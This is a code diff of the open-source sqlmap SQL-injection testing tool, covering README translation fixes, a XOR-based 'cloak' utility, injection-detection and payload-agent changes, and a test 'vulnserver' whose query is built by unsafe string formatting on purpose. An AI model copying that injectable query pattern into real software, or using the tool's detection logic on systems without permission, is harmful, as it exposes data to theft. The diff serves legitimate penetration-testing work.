* for contributing a tamper script halfversionedmorekeywords.py
|
* for contributing a tamper script halfversionedmorekeywords.py
|
||||||
|
|
||||||
@@ -486,6 +492,9 @@ Marek Sarvas, <marek.sarvas(at)gmail.com>
|
|||||||
Philippe A. R. Schaeffer, <schaeff(at)compuphil.de>
|
Philippe A. R. Schaeffer, <schaeff(at)compuphil.de>
|
||||||
* for reporting a minor bug
|
* for reporting a minor bug
|
||||||
|
|
||||||
|
Henri Salo <henri(at)nerv.fi>
|
||||||
|
* for a donation
|
||||||
|
|
||||||
Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com>
|
Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com>
|
||||||
* for reporting a minor bug
|
* for reporting a minor bug
|
||||||
|
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
|
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
|
||||||
|
|
||||||
Tangkapan Layar
|
Tangkapan Layar
|
||||||
----
|
----
|
||||||
|
|||||||
@@ -14,8 +14,7 @@ Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sql
|
|||||||
Instalação
|
Instalação
|
||||||
----
|
----
|
||||||
|
|
||||||
Você pode baixar o arquivo tar mais recente clicando [aqui]
|
Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
||||||
(https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
|
||||||
|
|
||||||
De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):
|
De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):
|
||||||
|
|
||||||
|
|||||||
@@ -19,28 +19,26 @@ from optparse import OptionParser
|
|||||||
|
|
||||||
if sys.version_info >= (3, 0):
|
if sys.version_info >= (3, 0):
|
||||||
xrange = range
|
xrange = range
|
||||||
|
ord = lambda _: _
|
||||||
|
|
||||||
def hideAscii(data):
|
KEY = b"Beeth7hoyooleeF0"
|
||||||
retVal = b""
|
|
||||||
for i in xrange(len(data)):
|
|
||||||
value = data[i] if isinstance(data[i], int) else ord(data[i])
|
|
||||||
retVal += struct.pack('B', value ^ (127 if value < 128 else 0))
|
|
||||||
|
|
||||||
return retVal
|
def xor(message, key):
|
||||||
|
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
|
||||||
|
|
||||||
def cloak(inputFile=None, data=None):
|
def cloak(inputFile=None, data=None):
|
||||||
if data is None:
|
if data is None:
|
||||||
with open(inputFile, "rb") as f:
|
with open(inputFile, "rb") as f:
|
||||||
data = f.read()
|
data = f.read()
|
||||||
|
|
||||||
return hideAscii(zlib.compress(data))
|
return xor(zlib.compress(data), KEY)
|
||||||
|
|
||||||
def decloak(inputFile=None, data=None):
|
def decloak(inputFile=None, data=None):
|
||||||
if data is None:
|
if data is None:
|
||||||
with open(inputFile, "rb") as f:
|
with open(inputFile, "rb") as f:
|
||||||
data = f.read()
|
data = f.read()
|
||||||
try:
|
try:
|
||||||
data = zlib.decompress(hideAscii(data))
|
data = zlib.decompress(xor(data, KEY))
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
print(ex)
|
print(ex)
|
||||||
print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
|
print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
|
||||||
@@ -52,7 +50,7 @@ def decloak(inputFile=None, data=None):
|
|||||||
|
|
||||||
def main():
|
def main():
|
||||||
usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
|
usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
|
||||||
parser = OptionParser(usage=usage, version='0.1')
|
parser = OptionParser(usage=usage, version='0.2')
|
||||||
|
|
||||||
try:
|
try:
|
||||||
parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')
|
parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -18,6 +18,7 @@ import traceback
|
|||||||
|
|
||||||
PY3 = sys.version_info >= (3, 0)
|
PY3 = sys.version_info >= (3, 0)
|
||||||
UNICODE_ENCODING = "utf-8"
|
UNICODE_ENCODING = "utf-8"
|
||||||
|
DEBUG = False
|
||||||
|
|
||||||
if PY3:
|
if PY3:
|
||||||
from http.client import INTERNAL_SERVER_ERROR
|
from http.client import INTERNAL_SERVER_ERROR
|
||||||
@@ -83,7 +84,8 @@ class ThreadingServer(ThreadingMixIn, HTTPServer):
|
|||||||
try:
|
try:
|
||||||
HTTPServer.finish_request(self, *args, **kwargs)
|
HTTPServer.finish_request(self, *args, **kwargs)
|
||||||
except Exception:
|
except Exception:
|
||||||
traceback.print_exc()
|
if DEBUG:
|
||||||
|
traceback.print_exc()
|
||||||
|
|
||||||
class ReqHandler(BaseHTTPRequestHandler):
|
class ReqHandler(BaseHTTPRequestHandler):
|
||||||
def do_REQUEST(self):
|
def do_REQUEST(self):
|
||||||
@@ -131,7 +133,7 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||||
self.send_header("Connection", "close")
|
self.send_header("Connection", "close")
|
||||||
self.end_headers()
|
self.end_headers()
|
||||||
self.wfile.write(b"<html><p><h3>GET:</h3><a href='/?id=1'>link</a></p><hr><p><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></p></html>")
|
self.wfile.write(b"<!DOCTYPE html><html><head><title>vulnserver</title></head><body><h3>GET:</h3><a href='/?id=1'>link</a><hr><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></body></html>")
|
||||||
else:
|
else:
|
||||||
code, output = OK, ""
|
code, output = OK, ""
|
||||||
|
|
||||||
@@ -147,16 +149,21 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||||||
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
|
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
|
||||||
results = _cursor.fetchall()
|
results = _cursor.fetchall()
|
||||||
|
|
||||||
output += "<b>SQL results:</b>\n"
|
output += "<b>SQL results:</b><br>\n"
|
||||||
output += "<table border=\"1\">\n"
|
|
||||||
|
|
||||||
for row in results:
|
if results:
|
||||||
output += "<tr>"
|
output += "<table border=\"1\">\n"
|
||||||
for value in row:
|
|
||||||
output += "<td>%s</td>" % value
|
for row in results:
|
||||||
output += "</tr>\n"
|
output += "<tr>"
|
||||||
|
for value in row:
|
||||||
|
output += "<td>%s</td>" % value
|
||||||
|
output += "</tr>\n"
|
||||||
|
|
||||||
|
output += "</table>\n"
|
||||||
|
else:
|
||||||
|
output += "no results found"
|
||||||
|
|
||||||
output += "</table>\n"
|
|
||||||
output += "</body></html>"
|
output += "</body></html>"
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
code = INTERNAL_SERVER_ERROR
|
code = INTERNAL_SERVER_ERROR
|
||||||
@@ -221,7 +228,7 @@ def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
|
|||||||
global _server
|
global _server
|
||||||
try:
|
try:
|
||||||
_server = ThreadingServer((address, port), ReqHandler)
|
_server = ThreadingServer((address, port), ReqHandler)
|
||||||
print("[i] running HTTP server at '%s:%d'" % (address, port))
|
print("[i] running HTTP server at 'http://%s:%d'" % (address, port))
|
||||||
_server.serve_forever()
|
_server.serve_forever()
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
_server.socket.close()
|
_server.socket.close()
|
||||||
|
|||||||
@@ -501,12 +501,13 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
# Useful to set kb.matchRatio at first based on False response content
|
# Useful to set kb.matchRatio at first based on False response content
|
||||||
kb.matchRatio = None
|
kb.matchRatio = None
|
||||||
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
|
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
|
||||||
|
suggestion = None
|
||||||
Request.queryPage(genCmpPayload(), place, raise404=False)
|
Request.queryPage(genCmpPayload(), place, raise404=False)
|
||||||
falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
|
||||||
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
|
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
|
||||||
|
|
||||||
# Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
|
# Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
|
||||||
if not kb.negativeLogic:
|
if not any((kb.negativeLogic, conf.string, conf.notString)):
|
||||||
try:
|
try:
|
||||||
ratio = 1.0
|
ratio = 1.0
|
||||||
seqMatcher = getCurrentThreadData().seqMatcher
|
seqMatcher = getCurrentThreadData().seqMatcher
|
||||||
@@ -568,7 +569,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
candidates = sorted(candidates, key=len)
|
candidates = sorted(candidates, key=len)
|
||||||
for candidate in candidates:
|
for candidate in candidates:
|
||||||
if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
|
if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
|
||||||
conf.string = candidate
|
suggestion = conf.string = candidate
|
||||||
injectable = True
|
injectable = True
|
||||||
|
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
||||||
@@ -579,7 +580,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
if injectable:
|
if injectable:
|
||||||
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
||||||
if all((falseCode, trueCode)) and falseCode != trueCode:
|
if all((falseCode, trueCode)) and falseCode != trueCode:
|
||||||
conf.code = trueCode
|
suggestion = conf.code = trueCode
|
||||||
|
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -604,7 +605,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
|
if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
|
||||||
break
|
break
|
||||||
|
|
||||||
conf.string = candidate
|
suggestion = conf.string = candidate
|
||||||
|
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -618,12 +619,12 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
if re.match(r"\A\w+\Z", candidate):
|
if re.match(r"\A\w+\Z", candidate):
|
||||||
break
|
break
|
||||||
|
|
||||||
conf.notString = candidate
|
suggestion = conf.notString = candidate
|
||||||
|
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'"))
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'"))
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if not any((conf.string, conf.notString, conf.code)):
|
if not suggestion:
|
||||||
infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
|
infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
|
||||||
singleTimeLogMessage(infoMsg)
|
singleTimeLogMessage(infoMsg)
|
||||||
|
|
||||||
@@ -939,6 +940,9 @@ def checkFalsePositives(injection):
|
|||||||
if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
|
if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
if conf.notString and any(conf.notString in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
|
||||||
|
continue
|
||||||
|
|
||||||
if randInt3 > randInt2 > randInt1:
|
if randInt3 > randInt2 > randInt1:
|
||||||
break
|
break
|
||||||
|
|
||||||
|
|||||||
@@ -336,6 +336,10 @@ def start():
|
|||||||
conf.httpHeaders.append((header, value))
|
conf.httpHeaders.append((header, value))
|
||||||
break
|
break
|
||||||
|
|
||||||
|
if conf.data:
|
||||||
|
# Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers
|
||||||
|
conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data)
|
||||||
|
|
||||||
conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
|
conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
|
||||||
|
|
||||||
initTargetEnv()
|
initTargetEnv()
|
||||||
@@ -382,7 +386,7 @@ def start():
|
|||||||
message += "\nCookie: %s" % conf.cookie
|
message += "\nCookie: %s" % conf.cookie
|
||||||
|
|
||||||
if conf.data is not None:
|
if conf.data is not None:
|
||||||
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
|
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
|
||||||
|
|
||||||
if conf.forms and conf.method:
|
if conf.forms and conf.method:
|
||||||
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
|
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
|
||||||
|
|||||||
+7
-3
@@ -172,12 +172,16 @@ class Agent(object):
|
|||||||
|
|
||||||
newValue = "%s%s" % (value, newValue)
|
newValue = "%s%s" % (value, newValue)
|
||||||
|
|
||||||
newValue = self.cleanupPayload(newValue, origValue)
|
newValue = self.cleanupPayload(newValue, origValue) or ""
|
||||||
|
|
||||||
if base64Encoding:
|
if base64Encoding:
|
||||||
_newValue = newValue
|
_newValue = newValue
|
||||||
_origValue = origValue
|
_origValue = origValue
|
||||||
|
|
||||||
|
if newValue:
|
||||||
|
newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
|
||||||
|
newValue = self.adjustLateValues(newValue)
|
||||||
|
|
||||||
# TODO: support for POST_HINT
|
# TODO: support for POST_HINT
|
||||||
newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||||
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||||
@@ -187,7 +191,7 @@ class Agent(object):
|
|||||||
|
|
||||||
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
||||||
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
|
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
|
||||||
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
|
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
|
||||||
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
|
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
|
||||||
else:
|
else:
|
||||||
newValue = self.addPayloadDelimiters(newValue)
|
newValue = self.addPayloadDelimiters(newValue)
|
||||||
@@ -420,7 +424,7 @@ class Agent(object):
|
|||||||
rootQuery = queries[Backend.getIdentifiedDbms()]
|
rootQuery = queries[Backend.getIdentifiedDbms()]
|
||||||
hexField = field
|
hexField = field
|
||||||
|
|
||||||
if "hex" in rootQuery:
|
if "hex" in rootQuery and hasattr(rootQuery.hex, "query"):
|
||||||
hexField = rootQuery.hex.query % field
|
hexField = rootQuery.hex.query % field
|
||||||
else:
|
else:
|
||||||
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
|
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
|
||||||
|
|||||||
+13
-13
@@ -10,11 +10,11 @@ try:
|
|||||||
except:
|
except:
|
||||||
import pickle
|
import pickle
|
||||||
|
|
||||||
import bz2
|
|
||||||
import itertools
|
import itertools
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
import tempfile
|
import tempfile
|
||||||
|
import zlib
|
||||||
|
|
||||||
from lib.core.compat import xrange
|
from lib.core.compat import xrange
|
||||||
from lib.core.enums import MKSTEMP_PREFIX
|
from lib.core.enums import MKSTEMP_PREFIX
|
||||||
@@ -24,17 +24,17 @@ from lib.core.settings import BIGARRAY_COMPRESS_LEVEL
|
|||||||
|
|
||||||
DEFAULT_SIZE_OF = sys.getsizeof(object())
|
DEFAULT_SIZE_OF = sys.getsizeof(object())
|
||||||
|
|
||||||
def _size_of(object_):
|
def _size_of(instance):
|
||||||
"""
|
"""
|
||||||
Returns total size of a given object_ (in bytes)
|
Returns total size of a given instance / object (in bytes)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retval = sys.getsizeof(object_, DEFAULT_SIZE_OF)
|
retval = sys.getsizeof(instance, DEFAULT_SIZE_OF)
|
||||||
|
|
||||||
if isinstance(object_, dict):
|
if isinstance(instance, dict):
|
||||||
retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(object_.items()))
|
retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(instance.items()))
|
||||||
elif hasattr(object_, "__iter__"):
|
elif hasattr(instance, "__iter__"):
|
||||||
retval += sum(_size_of(_) for _ in object_ if _ != object_)
|
retval += sum(_size_of(_) for _ in instance if _ != instance)
|
||||||
|
|
||||||
return retval
|
return retval
|
||||||
|
|
||||||
@@ -54,8 +54,8 @@ class BigArray(list):
|
|||||||
|
|
||||||
>>> _ = BigArray(xrange(100000))
|
>>> _ = BigArray(xrange(100000))
|
||||||
>>> _[20] = 0
|
>>> _[20] = 0
|
||||||
>>> _[100]
|
>>> _[99999]
|
||||||
100
|
99999
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, items=None):
|
def __init__(self, items=None):
|
||||||
@@ -92,7 +92,7 @@ class BigArray(list):
|
|||||||
self.chunks.pop()
|
self.chunks.pop()
|
||||||
try:
|
try:
|
||||||
with open(self.chunks[-1], "rb") as f:
|
with open(self.chunks[-1], "rb") as f:
|
||||||
self.chunks[-1] = pickle.loads(bz2.decompress(f.read()))
|
self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
|
||||||
except IOError as ex:
|
except IOError as ex:
|
||||||
errMsg = "exception occurred while retrieving data "
|
errMsg = "exception occurred while retrieving data "
|
||||||
errMsg += "from a temporary file ('%s')" % ex
|
errMsg += "from a temporary file ('%s')" % ex
|
||||||
@@ -113,7 +113,7 @@ class BigArray(list):
|
|||||||
self.filenames.add(filename)
|
self.filenames.add(filename)
|
||||||
os.close(handle)
|
os.close(handle)
|
||||||
with open(filename, "w+b") as f:
|
with open(filename, "w+b") as f:
|
||||||
f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
|
f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
|
||||||
return filename
|
return filename
|
||||||
except (OSError, IOError) as ex:
|
except (OSError, IOError) as ex:
|
||||||
errMsg = "exception occurred while storing data "
|
errMsg = "exception occurred while storing data "
|
||||||
@@ -131,7 +131,7 @@ class BigArray(list):
|
|||||||
if not (self.cache and self.cache.index == index):
|
if not (self.cache and self.cache.index == index):
|
||||||
try:
|
try:
|
||||||
with open(self.chunks[index], "rb") as f:
|
with open(self.chunks[index], "rb") as f:
|
||||||
self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
|
self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False)
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
errMsg = "exception occurred while retrieving data "
|
errMsg = "exception occurred while retrieving data "
|
||||||
errMsg += "from a temporary file ('%s')" % ex
|
errMsg += "from a temporary file ('%s')" % ex
|
||||||
|
|||||||
+47
-30
@@ -58,6 +58,7 @@ from lib.core.convert import getText
|
|||||||
from lib.core.convert import getUnicode
|
from lib.core.convert import getUnicode
|
||||||
from lib.core.convert import htmlUnescape
|
from lib.core.convert import htmlUnescape
|
||||||
from lib.core.convert import stdoutEncode
|
from lib.core.convert import stdoutEncode
|
||||||
|
from lib.core.data import cmdLineOptions
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -116,6 +117,7 @@ from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
|||||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||||
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
|
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
|
||||||
from lib.core.settings import DEV_EMAIL_ADDRESS
|
from lib.core.settings import DEV_EMAIL_ADDRESS
|
||||||
|
from lib.core.settings import DOLLAR_MARKER
|
||||||
from lib.core.settings import DUMMY_USER_INJECTION
|
from lib.core.settings import DUMMY_USER_INJECTION
|
||||||
from lib.core.settings import DYNAMICITY_BOUNDARY_LENGTH
|
from lib.core.settings import DYNAMICITY_BOUNDARY_LENGTH
|
||||||
from lib.core.settings import ERROR_PARSING_REGEXES
|
from lib.core.settings import ERROR_PARSING_REGEXES
|
||||||
@@ -675,17 +677,21 @@ def paramToDict(place, parameters=None):
|
|||||||
elif isinstance(current, dict):
|
elif isinstance(current, dict):
|
||||||
for key in current.keys():
|
for key in current.keys():
|
||||||
value = current[key]
|
value = current[key]
|
||||||
if isinstance(value, (list, tuple, set, dict)):
|
if isinstance(value, (bool, int, float, six.string_types)) or value in (None, []):
|
||||||
if value:
|
|
||||||
walk(head, value)
|
|
||||||
elif isinstance(value, (bool, int, float, six.string_types)):
|
|
||||||
original = current[key]
|
original = current[key]
|
||||||
if isinstance(value, bool):
|
if isinstance(value, bool):
|
||||||
current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
|
current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
|
||||||
|
elif value is None:
|
||||||
|
current[key] = "%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER)
|
||||||
|
elif value == []:
|
||||||
|
current[key] = ["%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER)]
|
||||||
else:
|
else:
|
||||||
current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
|
current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
|
||||||
candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters)
|
candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters)
|
||||||
current[key] = original
|
current[key] = original
|
||||||
|
elif isinstance(value, (list, tuple, set, dict)):
|
||||||
|
if value:
|
||||||
|
walk(head, value)
|
||||||
|
|
||||||
deserialized = json.loads(testableParameters[parameter])
|
deserialized = json.loads(testableParameters[parameter])
|
||||||
walk(deserialized)
|
walk(deserialized)
|
||||||
@@ -1270,7 +1276,7 @@ def checkPipedInput():
|
|||||||
# Reference: https://stackoverflow.com/a/33873570
|
# Reference: https://stackoverflow.com/a/33873570
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return not os.isatty(sys.stdin.fileno()) if hasattr(sys.stdin, "fileno") else False
|
return hasattr(sys.stdin, "fileno") and not os.isatty(sys.stdin.fileno())
|
||||||
|
|
||||||
def isZipFile(filename):
|
def isZipFile(filename):
|
||||||
"""
|
"""
|
||||||
@@ -1360,9 +1366,9 @@ def parsePasswordHash(password):
|
|||||||
>>> kb.forcedDbms = popValue()
|
>>> kb.forcedDbms = popValue()
|
||||||
"""
|
"""
|
||||||
|
|
||||||
blank = " " * 8
|
blank = ' ' * 8
|
||||||
|
|
||||||
if isNoneValue(password) or password == " ":
|
if isNoneValue(password) or password == ' ':
|
||||||
retVal = NULL
|
retVal = NULL
|
||||||
else:
|
else:
|
||||||
retVal = password
|
retVal = password
|
||||||
@@ -1452,6 +1458,12 @@ def setPaths(rootPath):
|
|||||||
else:
|
else:
|
||||||
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
|
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
|
||||||
|
|
||||||
|
if not os.path.isdir(paths.SQLMAP_HOME_PATH):
|
||||||
|
if "XDG_DATA_HOME" in os.environ:
|
||||||
|
paths.SQLMAP_HOME_PATH = os.path.join(os.environ["XDG_DATA_HOME"], "sqlmap")
|
||||||
|
else:
|
||||||
|
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".local", "share", "sqlmap")
|
||||||
|
|
||||||
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_HOME_PATH, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
|
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_HOME_PATH, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
|
||||||
